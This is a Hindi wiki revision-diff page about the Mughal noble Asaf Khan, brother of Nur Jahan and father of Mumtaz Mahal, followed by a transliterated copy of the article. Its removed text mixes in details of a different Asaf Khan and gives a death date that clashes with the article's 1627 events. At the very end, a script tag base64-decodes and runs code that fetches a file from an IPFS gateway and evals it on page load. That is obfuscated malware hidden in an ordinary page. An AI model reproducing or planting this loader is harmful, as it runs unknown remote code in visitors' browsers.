Difference between revisions of "आसफ़ ख़ाँ (गियासबेग़ पुत्र)"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (यशी चौधरी (Talk) के संपादनों को हटाकर [[User:रविन्द्र प्रसाद|रविन्द्...)
Line 1: Line 1:
 
{{बहुविकल्पी|आसफ़ ख़ाँ}}
 
{{बहुविकल्पी|आसफ़ ख़ाँ}}
'''आसफ़ ख़ाँ''' बादशाह [[अकबर]] के शासनकाल में [[फ़ारस]] से [[भारत]] आने वाले [[मिर्ज़ा गियासबेग़]] का पुत्र और मेहरुन्निसा का भाई था। बाद में यही मेहरुन्निसा बादशाह [[जहाँगीर]] की मलका [[नूरजहाँ]] के नाम से अधिक विख्यात हुई। आसफ खाँ द्वितीय मिर्जा वदीउज्जमाँ के पुत्र थे और इनका जन्म काजवीन्‌ नामक स्थान पर हुआ था। इनका असल नाम मिर्ज़ा जाफरबेग था और लोग इन्हें अलिफ खां भी कहते थे। सन्‌ 1577 ई. में ये अपने मामा के पास भारत आए। इनके मामा अकबर के वजीर थे और उनकी उपाधि आसफ खां थी। मामा की सिफारिश पर अकबर ने इनकी नियुक्ति 'बख्शी' के पद पर कर दी। मामा की मृत्यु के पश्चात्‌ इन्हें आसफ खां की उपाधि मिल गई। मुल्ला अहमद के मरने पर अकबर के आदेश से इन्होंने 'तारीख अलफ़ी' नामक इतिहास ग्रंथ लिखा। 1598 ई. में अकबर ने इन्हें 'वजीर आला' (प्रधान मंत्री) बना दिया। जहांगीर के शासनकाल में भी इन्हें पर्याप्त सम्मान मिला।
+
*'''आसफ़ ख़ाँ''' बादशाह [[अकबर]] के शासनकाल में [[फ़ारस]] से [[भारत]] आने वाले [[मिर्ज़ा गियासबेग़]] का पुत्र और मेहरुन्निसा का भाई था।
*आसफ खाँ कवि भी था और सुपंडित भी।
+
*बाद में यही मेहरुन्निसा बादशाह [[जहाँगीर]] की मलका [[नूरजहाँ]] के नाम से अधिक विख्यात हुई।
*'शीरीं या खुसरी' नामक उत्कृष्ट काव्य की रचना आसफ खाँ ने ही की।
 
 
*आसफ़ ख़ाँ शाही सेवा में था और [[मुग़ल]] दरबार का एक प्रमुख ओहदेदार बन गया था।
 
*आसफ़ ख़ाँ शाही सेवा में था और [[मुग़ल]] दरबार का एक प्रमुख ओहदेदार बन गया था।
 
*आसफ़ ख़ाँ की बेटी [[मुमताज़ महल]] बादशाह जहाँगीर के तीसरे बेटे शहज़ादा ख़ुर्रम ([[शाहजहाँ]]) को ब्याही थी।
 
*आसफ़ ख़ाँ की बेटी [[मुमताज़ महल]] बादशाह जहाँगीर के तीसरे बेटे शहज़ादा ख़ुर्रम ([[शाहजहाँ]]) को ब्याही थी।
Line 8: Line 7:
 
*शहरयार को नूरजहाँ की बेटी ब्याही थी। आसफ़ ख़ाँ ने शाहजहाँ को बादशाह बनाने में सफलता प्राप्त की।
 
*शहरयार को नूरजहाँ की बेटी ब्याही थी। आसफ़ ख़ाँ ने शाहजहाँ को बादशाह बनाने में सफलता प्राप्त की।
 
*बादशाह शाहजहाँ ने तख़्त पर बैठने के बाद अपने ससुर आसफ़ ख़ाँ को सल्तनत का वज़ीर बना दिया, जिस पद पर वह मृत्युपर्यन्त बना रहा।
 
*बादशाह शाहजहाँ ने तख़्त पर बैठने के बाद अपने ससुर आसफ़ ख़ाँ को सल्तनत का वज़ीर बना दिया, जिस पद पर वह मृत्युपर्यन्त बना रहा।
*1612 ई. में इनका देहावसान हो गया।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=हिन्दी विश्वकोश, खण्ड 1|लेखक= |अनुवादक= |आलोचक= |प्रकाशक= नागरी प्रचारिणी सभा, वाराणसी|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=461 |url=}}</ref>
 
 
  
 
{{प्रचार}}
 
{{प्रचार}}
Line 24: Line 21:
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{मध्य काल}}
 
{{मध्य काल}}
[[Category:कवि]][[Category:मुग़ल साम्राज्य]]
+
 
 +
[[Category:मुग़ल साम्राज्य]]
 
[[Category:इतिहास कोश]]
 
[[Category:इतिहास कोश]]
[[Category:मध्य काल]][[Category:हिन्दी विश्वकोश]]
+
[[Category:मध्य काल]]
 
__INDEX__
 
__INDEX__

Revision as of 11:42, 24 June 2018

  • asaf khaan badashah akabar ke shasanakal mean faras se bharat ane vale mirza giyasabeg ka putr aur meharunnisa ka bhaee tha.
  • bad mean yahi meharunnisa badashah jahaangir ki malaka noorajahaan ke nam se adhik vikhyat huee.
  • asaf khaan shahi seva mean tha aur mugal darabar ka ek pramukh ohadedar ban gaya tha.
  • asaf khaan ki beti mumataz mahal badashah jahaangir ke tisare bete shahazada khurram (shahajahaan) ko byahi thi.
  • 1627 ee. mean jahaangir ki maut ke bad asaf khaan ne noorajahaan ke us sh dayantr ko viphal kar diya, jisake dvara vah jahaangir ke sabase chhote bete shaharayar ko badashah banana chahati thi.
  • shaharayar ko noorajahaan ki beti byahi thi. asaf khaan ne shahajahaan ko badashah banane mean saphalata prapt ki.
  • badashah shahajahaan ne takht par baithane ke bad apane sasur asaf khaan ko saltanat ka vazir bana diya, jis pad par vah mrityuparyant bana raha.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>